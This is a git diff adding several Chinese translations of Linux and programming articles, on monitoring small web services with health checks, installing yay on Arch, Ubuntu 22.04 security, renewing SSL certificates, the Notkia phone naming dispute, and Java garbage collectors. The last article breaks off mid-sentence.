+我发现电子邮件通知对我来说是一个很好的通知级别,如果网站宕机,我会很快发现,但它不会吵醒我或做其它的什么打扰。 + +### 步骤 2:端到端的健康检查 + +接下来,让我们谈谈“检查网站是否正常”到底是什么意思。 + +起初,我只是把我的健康检查端点之一变成一个函数,无论如何都会返回 `200 OK`。 + +这倒是挺有用的 – 它告诉我服务器是启动着的! + +但不出所料,我遇到了问题,因为它没有检查 API 是否真的在 _工作_ – 有时健康检查成功了,尽管服务的其他部分实际上已经进入了一个糟糕的状态。 + +所以我更新了它,让它真正地发出 API 请求,并确保它成功了。 + +我所有的服务都只做了很少的事情(nginx playground 只有一个端点),所以设置一个健康检查是非常容易的,它实际上贯穿了服务应该做的大部分动作。 + +下面是 nginx playground 的端到端健康检查处理程序的样子。它非常基本:它只是发出一个 POST 请求(给自己),并检查该请求是成功还是失败。 + +``` + + func healthHandler(w http.ResponseWriter, r *http.Request) { + // make a request to localhost:8080 with `healthcheckJSON` as the body + // if it works, return 200 + // if it doesn't, return 500 + client := http.Client{} + resp, err := client.Post("http://localhost:8080/", "application/json", strings.NewReader(healthcheckJSON)) + if err != nil { + log.Println(err) + w.WriteHeader(http.StatusInternalServerError) + return + } + if resp.StatusCode != http.StatusOK { + log.Println(resp.StatusCode) + w.WriteHeader(http.StatusInternalServerError) + return + } + w.WriteHeader(http.StatusOK) + } + +``` + +### 健康检查频率:每小时一次 + +现在,我大部分健康检查每小时运行一次,有些每 30 分钟运行一次。 + +我每小时运行一次,因为 updown.io 的定价是按健康检查次数计算的,我正在监控 18 个不同的 URL,而且我想把我的健康检查预算保持在 5 美元/年的最低水平。 + +花一个小时来发现这些网站中的一个出现故障,对我来说是可以的 – 如果有问题,我也不能保证能很快修复它。 + +如果可以更频繁地运行它们,我可能会每 5-10 分钟运行一次。 + +### 步骤 3:第三步:如果健康检查失败,自动重新启动 + +我的一些网站在 fly.io 上,fly 有一个相当标准的功能,我可以为一个服务配置一个 HTTP 健康检查,如果健康检查失败,就重新启动服务。 + +“经常重启”是一个非常有用的策略来弥补我尚未修复的 bug,有一段时间,nginx playground 有一个进程泄漏,`nginx` 进程没有被终止,所以服务器的内存一直在耗尽。 + +通过健康检查,其结果是,每隔一天左右就会发生这样的情况: + + * 服务器的内存用完了 + * 健康检查开始失败 + * 它被重新启动 + * 一切又正常了 + * 几个小时后再次重复整个传奇 + +最终,我开始实际修复进程泄漏,但很高兴有一个解决方法可以在我拖延修复 bug 时保持运行。 + +这些用于决定是否重新启动服务的运行状况检查更频繁地运行:每 5 分钟左右。 + +### 这不是监控大型服务的最佳方式 + +这可能很明显,我在一开始就已经说过了,但是“编写一个 HTTP 健康检查”并不是监控大型复杂服务的最佳方法。 但我不会深入讨论,因为这不是这篇文章的主题。 + +### 到目前为止一直运行良好! + +我最初在 3 个月前的四月写了这篇文章,但我一直等到现在才发布它以确保整个设置正常工作。 + +这带来了很大的不同 – 在我遇到一些非常愚蠢的停机问题之前,现在在过去的几个月里,网站的运行时间达到了 99.95%! + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/07/09/monitoring-small-web-services/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://nginx-playground.wizardzines.com +[2]: https://messwithdns.net +[3]: https://dns-lookup.jvns.ca +[4]: https://updown.io/ +[5]: https://uptimerobot.com/ +[6]: https://updown.io/#pricing diff --git a/published/202207/20220710 How to Install yay AUR Helper in Arch Linux [Beginner-s Guide].md b/published/202207/20220710 How to Install yay AUR Helper in Arch Linux [Beginner-s Guide].md new file mode 100644 index 0000000000..71da71927e --- /dev/null +++ b/published/202207/20220710 How to Install yay AUR Helper in Arch Linux [Beginner-s Guide].md @@ -0,0 +1,167 @@ +[#]: subject: "How to Install yay AUR Helper in Arch Linux [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/install-yay-arch/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14846-1.html" + +初级:如何在 Arch Linux 中安装 Yay AUR 助手 +====== + +![](https://www.debugpoint.com/wp-content/uploads/2021/01/yay2021.jpg) + +> 这个初学者指南解释了在 Arch Linux 中安装 Yay AUR 助手的步骤。 + +Yay 是 “Yet Another Yogurt” 的缩写(LCTT 校注:Yogurt 是另外一个已经停止维护的 AUR 助手)。从技术上讲,它是用 [Go 编程语言][2] 编写的 [pacman][1] 封装器和 AUR 助手。它是当今最流行的 [Arch 用户仓库(AUR)][3] 助手。使用 Yay,你可以利用庞大的 Arch 用户软件包库并轻松编译和安装任何软件。 + +它可以自动执行许多包管理任务,例如搜索、动态解决依赖关系、编译和构建包,当然还有在 AUR 发布包。 + +让我们看看如何在 Arch Linux 或任何基于 Arch 的发行版(如 Manjaro)中安装 Yay。安装 Arch Linux 后,你可以通过 pacman 包管理器从三个主要的 Arch 官方仓库安装包。但是在全新的 Arch Linux 安装后,默认情况下不会安装 Yay。因此,你需要手动安装它以利用 AUR。 + +本指南涵盖以下主题: + +* 在 Arch Linux 中安装 Yay +* 在 Manjaro 中安装 Yay +* 如何在 Arch Linux 和 Manjaro 中使用 Yay 安装包 +* 一些 Yay 的技巧 + +### 在 Arch Linux 中安装 Yay + +#### 先决条件 + +打开终端并运行以下命令。出现提示时提供管理员密码。这些步骤需要 [base-devel][4] 包和 git 包进行编译和安装。 + +``` +sudo pacman -S base-devel +``` + +``` +sudo pacman -S git +``` + +![Install git][5] + +#### 安装 Yay + +`yay` 包在 Arch 仓库中有两个版本,如下所示。 + +- [yay][6] – 稳定版 +- [yay-git][7]– 开发版 + +对于本指南,我使用了稳定版。现在,进入 `/opt` 目录并克隆 git 仓库。 + +``` +cd /opt +sudo git clone https://aur.archlinux.org/yay.git +``` + +![clone the yay repo][8] + +更改源目录的所有者。将 `debugpoint` 替换为你的用户名。 + +``` +sudo chown -R debugpoint:users ./yay +``` + +如果你不知道用户或组,可以使用以下示例查找用户和组。 + +``` +id debugpoint +``` + +进入目录并编译。 + +``` +cd yay +``` + +``` +makepkg -si +``` + +这样就完成了 Arch Linux 中 Yay 的安装。 + +![Install yay in Arch Linux][9] + +### 在 Manjaro 中安装 Yay + +如果你使用 Manjaro Linux,`yay` 包可以在社区仓库中找到。你可以在 Manjaro 中使用以下命令轻松安装。 + +``` +pacman -Syyupacman -S yay +``` + +现在,让我们看看如何使用 Yay 安装任何软件包,以及一些基本的 `yay` 用法。 + +### 如何使用 Yay 安装包 + +首先在 AUR 网站上搜索安装任何应用以获取包名。例如,要安装 [featherpad][10] 文本编辑器,请运行以下命令。 + +``` +yay -S featherpad +``` + +安装后,你可以在应用菜单中找到应用启动器。 + +![Install a sample application (featherpad) using yay][11] + +### 一些 Yay 的技巧 + +你还可以使用 yay 进行许多调整和系统操作。下面是一些示例。 + +**刷新系统包并升级**: + +``` +yay -Syu +``` + +**使用包的开发版本并升级(运行此命令时要小心)**: + +``` +yay -Syu --devel --timeupdate +``` + +**删除任何包(例如,featherpad)**: + +``` +yay -Rns featherpad +``` + +**快速获取系统统计信息**: + +![system stat using yay][12] + +``` +yay -Ps +``` + +我希望这个初学者指南能帮助你在 [Arch Linux][13] 中安装 Yay,然后使用 Yay 安装包,并执行不同的系统操作。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-yay-arch/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://wiki.archlinux.org/index.php/pacman +[2]: https://golang.org/ +[3]: https://wiki.archlinux.org/index.php/Arch_User_Repository +[4]: https://aur.archlinux.org/packages/meta-group-base-devel/ +[5]: https://www.debugpoint.com/wp-content/uploads/2021/01/Install-git-1024x291.png +[6]: https://aur.archlinux.org/packages/yay/ +[7]: https://aur.archlinux.org/packages/yay-git/ +[8]: https://www.debugpoint.com/wp-content/uploads/2021/01/clone-the-yay-repo-1024x271.png +[9]: https://www.debugpoint.com/wp-content/uploads/2021/01/Install-yay-in-Arch-Linux-1024x460.png +[10]: https://aur.archlinux.org/packages/featherpad-git/ +[11]: https://www.debugpoint.com/wp-content/uploads/2021/01/Install-a-sample-application-featherpad-using-yay-1024x620.png +[12]: https://www.debugpoint.com/wp-content/uploads/2021/01/system-stat-using-yay.png +[13]: https://www.debugpoint.com/tag/arch-linux/ diff --git a/published/202207/20220711 7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet.md b/published/202207/20220711 7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet.md new file mode 100644 index 0000000000..921d3e23c5 --- /dev/null +++ b/published/202207/20220711 7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet.md @@ -0,0 +1,141 @@ +[#]: subject: "7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet" +[#]: via: "https://news.itsfoss.com/reasons-ubuntu-22-04-secure/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14820-1.html" + +Ubuntu 22.04 LTS 是目前最安全的版本的七大原因 +====== + +> Ubuntu 22.04 LTS 是迄今为止最好的 Ubuntu 版本之一。是什么让它如此安全? + +![ubuntu 22.04][1] + +早在今年 4 月就发布了的 [Ubuntu 22.04 LTS][2],是迄今为止最安全的 Ubuntu 版本。 + +其安全更新的延长支持、新的硬件支持和其他林林总总的改进,使它在安全方面远远超过了之前的所有版本。 + +但它是如何做到这一点的呢?还有,是什么让这个版本与以前的版本不同的呢? + +嗯,有几个原因,Canonical 在一篇新的博客文章中为我们重点指出了这些。在这里,让我总结一下,以帮助你了解更多。 + +### 是什么让 Ubuntu 22.04 LTS 变得安全? + +在这个版本中,Ubuntu 团队似乎投入了大量的工作来确保其长期的安全性和可靠性。尽管多年来他们以难以想象的方式做到了这一点,但我将强调其中的几件事: + +* 改进的硬件安全措施支持 +* 更新了安全包 +* 私有家目录 +* OpenSSL 3 +* GCC 11 +* nftables 作为默认的防火墙后端 +* Linux 内核改进 + +#### 1、改进的硬件安全措施支持 + +![][3] + +随着英特尔、AMD 和 ARM 的 CPU/SoC 开始推出更多的安全措施,拥有足够的软件来让这些功能发挥作用就变得越来越重要。 + +截至目前,Ubuntu 22.04 支持三种主要的硬件安全措施。 + +英特尔的 “软件保护扩展Software Guard eXtensions”(SGX)提供了一个安全独立的区域来进行敏感计算。例如,理想情况下,密码处理将在这里进行,因为它确保没有其他应用程序可以访问这些数据。 + +还有 AMD 的“安全加密虚拟化Secure Encrypted Virtualization”(SEV)。这项技术旨在防止主机操作系统干扰正在运行的虚拟机。 + +尽管这与桌面用户的相关性不如其他技术,但要知道,很多数据中心的基础设施都依赖虚拟机来实现应用的容器化。总的来说,此类针对硬件的安全措施应该会加强对桌面和服务器用户的保护。 + +#### 2、Linux 内核安全的改进 + +随着 Ubuntu 的每一次发布,Linux 内核都会得到升级,提供了许多有用的功能和支持。 + +但是,这一次,Canonical 推出了针对不同的平台的优化内核版本。对于 OEM 认证的桌面设备,它提供了 [Linux 内核 5.17][4]。 + +而对于所有的桌面和服务器用户,可以使用 [Linux 内核 5.15 LTS][5]。 + +不仅仅限于这个概念,在 [博文][6] 中提到的一些基本内核安全增强措施包括: + +* 支持 [核心调度][7],它允许进程控制哪些线程可以在 SMT 同级之间调度,以便让它们保护敏感信息,而不泄露给系统中其他不受信任的进程。 +* 内核堆栈随机化提供了一种加固措施,以挫败希望在内核内进行内存破坏攻击的攻击者。 +* BPF 子系统也有一些安全方面的增强,包括默认情况下限制为只有特权进程可以使用,以及对签名的 BPF 程序的初步支持。 +* 新的 Landlock Linux 安全模块的加入为应用程序沙箱提供了另一种机制,可以通过 AppArmor 或 SELinux 与更传统的方式结合使用。 + +总之,所有这些改进使 Ubuntu 22.04 LTS 成为开发者、用户和系统管理员的更安全的选择。 + +#### 3、更新的安全软件包 + +![][8] + +让我们从技术性的安全概念退后一步,回到每个 Ubuntu 用户都应该已经熟悉的概念:软件包。每一个新的 Ubuntu 版本,软件库中的大多数软件包都会更新,以带来更好的安全性和新功能。 + +尽管对于 Ubuntu 22.04 来说,这并不完全是新的东西,但这确实包括了很多安全方面的更新。这方面的例子包括 openSSL 3 和 GCC 11。 + +#### 4、OpenSSL 3 + +OpenSSL 是所有安全通信的支柱。 + +考虑到包括 MD2 和 DES 在内的许多传统算法已经被废弃并默认禁用,OpenSSL 3 作为一个重大的升级特别值得关注。 + +因此,除非用户特别想使用不太安全的算法,否则你将在默认情况下获得最好的安全性。 + +#### 5、GCC 11 + +另一方面,GCC 是许多开发者用来将他们的代码变成可以在你的计算机上运行的程序的编译器。 + +它带来了许多改进,但有一项特别显著地提高了安全性。静态分析得到了极大的加强,使开发人员能够更快地发现软件的漏洞,在第一步就防止有漏洞的代码被发布。 + +这可能不会直接影响到用户,许多开发人员使用 Ubuntu 来开发他们的应用程序。因此,你下载的很多程序,即使在非 Ubuntu 系统上,也应该比以前更安全。 + +#### 6、私有家目录 + +![][9] + +作为一个传统上以桌面为重点的发行版,Ubuntu 经常选择方便而不是安全。然而,随着他们越来越努力地推动云计算的采用,这种情况必须改变。 + +以前,任何有权限进入电脑的人都可以打开并查看任何用户的家目录。然而,你可以想象,这给非桌面用户带来了很多问题。因此,需要改变为私有家目录。 + +对于多用户系统来说,这可能稍显不方便,但这可以相对容易地改变。而且,对于那些不太熟悉技术的人来说,他们不需要做任何事情就可以得到更好的安全保障。 + +#### 7、nftables 作为默认防火墙后端 + +![][10] + +25 年来,防火墙一直是将你的计算机与更广泛的互联网隔离开来的一个关键部分。这些年来,Linux 发行版通常使用两种不同的防火墙解决方案:iptables 和 xtables。 + +然而,近些年来,一种不同的解决方案进入了人们的视野:nftables。它提供了显著的性能和灵活性的改进,使网络管理员能够更好地保护你的设备。 + +### 总结 + +毋庸置疑,Ubuntu 22.04 LTS 做了很多不错的升级。不仅仅是用户体验,它在安全方面也是一个重大的飞跃。 + +当然,还有更多,但上面提到的改进是很好的成就! + +关于更多的技术细节,你可以查看这篇 [Ubuntu 的官方博客文章][11]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/reasons-ubuntu-22-04-secure/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/ubuntu-22-04-is-most-secure-release.jpg +[2]: https://news.itsfoss.com/ubuntu-22-04-release/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/07/hardware-security-illustration-1024x576.jpg +[4]: https://news.itsfoss.com/linux-kernel-5-17-release/ +[5]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[6]: https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-22-04-lts +[7]: https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/core-scheduling.html +[8]: https://news.itsfoss.com/wp-content/uploads/2021/07/open-source-security-illustration-1024x576.png +[9]: https://news.itsfoss.com/wp-content/uploads/2021/04/private-home-directory-ubuntu-21.png +[10]: https://news.itsfoss.com/wp-content/uploads/2022/07/firewall-illustration-1024x576.jpg +[11]: https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-22-04-lts diff --git a/published/202207/20220711 Manual Renewal of SSL Certificates- A Simple Guide.md b/published/202207/20220711 Manual Renewal of SSL Certificates- A Simple Guide.md new file mode 100644 index 0000000000..fde96a948b --- /dev/null +++ b/published/202207/20220711 Manual Renewal of SSL Certificates- A Simple Guide.md @@ -0,0 +1,80 @@ +[#]: subject: "Manual Renewal of SSL Certificates: A Simple Guide" +[#]: via: "https://www.opensourceforu.com/2022/07/manual-renewal-of-ssl-certificates-a-simple-guide/" +[#]: author: "Jitendra Bhojwani https://www.opensourceforu.com/author/jitendra-bhojwani/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14838-1.html" + +手动续订 SSL 证书的简单指南 +====== + +![SSL-Certificates-Featured-image][1] + +*在本杂志 2022 年 4 月号中,我们了解了不同类型的 SSL 证书及其应用。本文介绍如何手动更新现有 SSL 证书,以使其保持最新的安全要求。* + +当访问者与你的网站互动并分享信用卡号码等关键细节时,他们相信他们的信息已得到保护,不会被滥用。因此,你有责任尊重这种信任并为你网站上的所有访问者提供全面保护。不这样做不仅会使你失去客户的忠诚度,而且还可能使你陷入法律困境。在许多情况下,无法保护客户数据免遭泄露、盗窃或滥用的网站被迫支付巨额罚款,同时也失去了声誉。 + +#### SSL 证书如何保护客户的数据? + +保护敏感客户信息的最佳方法之一是使用 SSL(安全套接字层)证书保护你的站点。用不涉及技术细节的话来说,SSL 证书对 Web 服务器和访问者浏览器之间的通信进行加密,从而使黑客或威胁参与者在技术上不可能窃取传输中的数据。 SSL 建立了一个安全的握手过程来解密加密的信息,这个过程太复杂了,人类甚至软件都无法破解。(LCTT 校注:此处言过其实,SSL 加密传输的信息并不是绝对不可截获和破解的,比如中间人攻击等。) + +#### 为什么需要更新 SSL 证书? + +虽然 SSL 证书提供了防止数据盗窃或滥用的安全性,但你需要定期更新它以确保最有效的安全性以抵御最新的威胁。本文将列出以正确方式更新 SSL 证书的分步说明。 + +更新 SSL 证书有很多好处: + +* 及时更新验证你的网站的身份。 +* 获得更新的安全性。 +* 一年有效期促进定期更新/升级保护范围的健康实践,从而消除与过时版本相关的风险。 + +> 注意:最佳做法是选择一种自动续订方式,以减轻你记住续订日期或手动执行相关步骤的压力。 + +#### 有点跑题了,构建你自己的 SSL 证书的纯开源方式 + +是的,这绝对是真的!通过一些简化和紧凑的步骤,你实际上可以从头开始构建自己的 SSL 证书!虽然整个过程超出了本文的范围,但这里有一些可用于创建 SSL 证书的关键开源组件和工具。 + +* OpenSSL:这是实现 TLS 和加密库的高度可信的工具。 +* EasyRSA:此命令行工具使你能够构建 PKI CA 并有效地管理它。 +* CFSSL:Cloudflare 终于为 PKI 和 TLS 构建了一个多用途、多功能的工具。 +* Lemur:由 Netflix 开发的还不错的 TLS 生成器。 + +### 如何更新你的 SSL 证书 + +虽然 [SSL][2] 更新的一般过程保持不变,但可能会有一些细微的调整和变化,具体取决于你的特定 SSL 提供商。 + +更新过程遵循三个主要步骤:CSR(证书签名请求)生成、证书激活,最后是证书安装。 + +**生成 CSR:** 对于 cPanel 托管面板,你可以单击“安全Security”选项卡并搜索 *SSL/TLS* 选项。它将显示一个页面,在 CSR 选项下方有一个链接。这里可以帮助你为所需的域名生成新的 CSR。 + +系统将询问你详细的联系信息,以确认你是真正的域所有者。填写表格后,你将获得证书重新激活所需的 CSR 代码。 + +**激活 SSL 证书:** 在你的仪表板中,你可以快速查看拥有的 SSL 证书、域和其他数字基础设施产品。单击该按钮开始 SSL 续订过程。输入之前生成的 CSR,确认信息的准确性。你现在可以验证 SSL 续订过程。 + +**验证 SSL 证书:** 系统将再次提示你确认域所有权 —— 输入与域相关的电子邮件;在需要安装证书的 Web 服务器上上传文件;借助 CNAME 记录验证 SSL 证书等等。虽然有多种选择,但最好和最简单的方法是通过电子邮件进行验证。输入与该域关联的电子邮件后,你将收到一封包含特定链接的电子邮件,然后是另一封邮件,其中包含带有 `.crt` 扩展名的新证书文件。 + +**安装 SSL 证书:** 你的主机托管商将为你提供与支持团队沟通的方式,以安装更新文件,或为你提供有关如何通过 cPanel 手动执行此操作的详细说明。请记住,不同的主机提供不同的续订方式。也就是说,如果你是非技术人员,那么联系支持团队将是你的最佳选择。 + +如需手动更新,请访问 cPanel 的 “SSL/TLS” 页并找到 “管理 SSL 站点Manage SSL sites”选项。它包含了你拥有的整个域列表。对应每个域名,你可以看到证书更新选项。 + +在旁边的页面中,使用“按域自动填写Autofill by Domain”选项输入“私钥Private Key”的详细信息。在 “证书Certificate” 选项下,填写你的 `.crt` 文件的详细信息。离完成就剩一步了。只需单击显示“安装证书Install Certificate”的按钮。 + +除了保存用户的关键数据和敏感信息外,SSL 证书还通过重申你网站上共享的数据是安全的来建立信任。由于谷歌认为 SSL 认证是一种健康的做法,因此它也会对你的 SEO 产生积极影响。但是,要继续享受此证书的最佳安全性,你需要定期更新它。这可以确保你的网站根据最新的安全要求,充分防止数据传输中的攻击。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/manual-renewal-of-ssl-certificates-a-simple-guide/ + +作者:[Jitendra Bhojwani][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jitendra-bhojwani/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/SSL-Certificates-Featured-image.jpg +[2]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwitou7xjv_3AhWLRmwGHVZ2BWwQFnoECB0QAQ&url=https%3A%2F%2Fgithub.com%2Fopenssl%2Fopenssl&usg=AOvVaw0niwMRCpb4nN_PtJFMQwWP diff --git a/published/202207/20220711 Nokia Targets An Amateur Linux Phone Project -NOTKIA- for a Name Change.md b/published/202207/20220711 Nokia Targets An Amateur Linux Phone Project -NOTKIA- for a Name Change.md new file mode 100644 index 0000000000..927aaa8b2f --- /dev/null +++ b/published/202207/20220711 Nokia Targets An Amateur Linux Phone Project -NOTKIA- for a Name Change.md @@ -0,0 +1,87 @@ +[#]: subject: "Nokia Targets An Amateur Linux Phone Project ‘NOTKIA’ for a Name Change" +[#]: via: "https://news.itsfoss.com/nokia-notkia/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14837-1.html" + +诺基亚勒令一个开源 Linux 手机项目 “NOTKIA” 改名字 +====== + +> 有一个想要为你带来一款诺基亚风格的 Linux 手机的开源项目,但诺基亚似乎并不喜欢这个项目的名字。 + +![诺基亚][1] + +近期,一个旨在打造经典诺基亚(小型)的 Linux 手机的开源项目,遭到了诺基亚的抨击。 + +该项目的名称最初是 “**Notkia**”,然而,诺基亚认为该名称与自己相似,可能会影响自己的品牌声誉,并侵犯到自己的权利。 + +虽然这样做可以保护公司的业务,但这些公司向在当前状态下甚至对他们构不成威胁的项目发送侵权通知是怎么回事? + +### Notkia:开发一款袖珍 Linux 手机 + +不过还得 *感谢* 诺基亚的这个侵权通知,我们才能了解到这个有趣的项目:开发一款满足基本使用、注重隐私的小型 Linux 手机。 + +该项目的目标是设计一个完全适合诺基亚经典手机外壳的 PCB。 + +![][2] + +到目前为止,该项目已经支持许多硬件相关的功能,包括蓝牙和 Wi-Fi。 + +该项目不基于安卓,而是基于主线 Linux 内核。 + +你可以在他们的 [官方博文][3] 中,了解有关该项目和计划中的手机规格。 + +目前,该项目正在等待筹款,以便可以单独购买早期原型机。 + +### 灵感来自诺基亚,并受到诺基亚的关注 + +嗯,该项目清楚地表明他们受到诺基亚经典手机的启发,他们并没有试图误导任何贡献者和潜在客户。 + +该项目的创建者在推特上分享了诺基亚的电子邮件,同时他提到,诺基亚在将此类通知发送给以社区利益为主导的项目之前,应该更谨慎一些才对。 + +> 再次阅读 [@Nokia][4] 的邮件后,我开始感到愤怒。这无非是一场精心策划的演出。既然它是一个协作项目,并且得到了世界各地的人们的贡献,因此,我将把完整的电子邮件发布给它的“预期收件人”。 +> +> ![来自推特 @ReimuNotMoe][5] + +**此外,他们确认该项目将更名。** + +当然,作为一个开源项目,它应该和诺基亚是扯不上关系的,除非他们使用诺基亚的品牌名称销售他们的原型/手机。 + +但是,在目前的状态下,这更像是一个激情项目,是开源爱好者社区协作努力的成果。因此,向他们发出侵犯诺基亚权利的通知,听起来实在有些牵强。 + +*对吗?* + +当然,对于一般企业来说,这并不奇怪;但对于诺基亚来说,这未免有点过于谨慎和反竞争了。 + +更何况,我们可以肯定地说,诺基亚的最新的智能手机的表现,并没有达到用户的预期。 + +有趣的是,一位推特用户发现,还有一家名为 “Notkia” 的 [IT 公司][7]。他们是否也收到了诺基亚的通知?呵呵,谁知道呢。 + +*那么,你如何看待这个基于 Linux 的袖珍手机的开源项目呢?在下面的评论中分享你的看法吧!* + +消息来源:[Vice][8] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/nokia-notkia/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/nokia-targets-linux-phone-notkia.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/07/notkia-nokia-1024x766.jpg +[3]: https://hackaday.io/project/185645-notkia-name-change-planned +[4]: https://twitter.com/nokia?ref_src=twsrc%5Etfw +[5]: https://pbs.twimg.com/media/FWftWyjUYAA49ew?format=jpg&name=large +[6]: https://twitter.com/ReimuNotMoe/status/1542466662154108930?ref_src=twsrc%5Etfw +[7]: https://www.linkedin.com/company/notkia-it/ +[8]: https://www.vice.com/en/article/93awjz/nokia-asks-open-source-notkia-phone-project-to-change-its-name diff --git a/published/202207/20220712 7 kinds of garbage collection for Java.md b/published/202207/20220712 7 kinds of garbage collection for Java.md new file mode 100644 index 0000000000..e353e8dba1 --- /dev/null +++ b/published/202207/20220712 7 kinds of garbage collection for Java.md @@ -0,0 +1,121 @@ +[#]: subject: "7 kinds of garbage collection for Java" +[#]: via: "https://opensource.com/article/22/7/garbage-collection-java" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14862-1.html" + +Java 的七种垃圾收集器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/25/075744nw0c9c4vtvkgiuct.jpg) + +> 了解 Java 中的内存管理。 + +用 C 或 C++ 这样的编程语言写一个应用时,需要编写代码来销毁内存中不再需要的对象。当应用程序扩展得越来越复杂时,未使用对象被忽略释放的可能性就越大。这会导致内存泄露,最终内存耗尽,在某个时刻将没有更多的内存可以分配。结果就是应用程序运行失败并出现 OutOfMemoryError 错误。但在 Java 中,垃圾收集器Garbage Collection(GC)会在程序执行过程中自动运行,减轻了手动分配内存和可能的内存泄漏的任务。 + +垃圾收集器并不只有一种,Java 虚拟机(JVM)有七种不同的垃圾收集器,了解每种垃圾收集器的目的和优点是很有用的。 + +### 1、Serial 收集器 + +![Serial threaded garbage collection][1] + +垃圾收集器的原始实现,使用单线程。当垃圾收集器运行时,会停止应用程序(通常称为“stop the world”事件)。适用于能够承受短暂停顿的应用程序。该垃圾收集器占用内存空间比较小,因此这是嵌入式应用程序的首选垃圾收集器类型。在运行时使用以下命令启用该垃圾收集器: + +``` +$ java -XX:+UseSerialGC +``` + +### 2、Parallel 收集器 + +![Parallel garbage collection][2] + +像 Serial 收集器一样,Parallel 收集器也使用“stop the world”方法。这意味着,当垃圾收集器运行时,应用程序线程会停止。但是不同的是,Parallel 收集器运行时有多个线程执行垃圾收集操作。这种类型的垃圾收集器适用于在多线程和多处理器环境中运行中到大型数据集的应用程序。 + +这是 JVM 中的默认垃圾收集器,也被称为*吞吐量收集器*。使用该垃圾收集器时可以通过使用各种合适的 JVM 参数进行调优,例如吞吐量、暂停时间、线程数和内存占用。如下: + +* 线程数:`-XX:ParallelGCThreads=` +* 暂停时间:`-XX:MaxGCPauseMillis=` +* 吞吐量(垃圾收集花费的时间与实际应用程序执行的时间相比):`-XX:GCTimeRatio=` +* 最大堆内存:`-Xmx` + +Parallel 收集器可以使用该命令显式启用:`java -XX:+UseParallelGC` 。使用这个命令,指定在新生代中通过多个线程进行垃圾回收,而老年代中的垃圾收集和内存压缩仍使用单个线程完成的。 + +还有一个版本的的 Parallel 收集器叫做 “Parallel Old GC”,它对新生代和老年代都使用多线程,启用命令如下: + +``` +$ java -XX:+UseParallelOldGC +``` + +### 3、Concurrent Mark Sweep(CMS)收集器 + +![Concurrent garbage collection][3] + +Concurrent Mark Sweep(CMS)垃圾收集器与应用程序并行运行。对于新生代和老年代都使用了多线程。在 CMS 垃圾收集器删除无用对象后,不会对存活对象进行内存压缩。该垃圾收集器和应用程序并行运行,会降低应用程序的响应时间,适用于停顿时间较短的应用程序。这个收集器在 Java8 已过时,并在 Java14 中被移除。如果你仍在使用有这个垃圾收集器的 Java 版本,可以使用如下命令启用: + +``` +$ java -XX:+UseConcMarkSweepGC +``` + +在 CMS 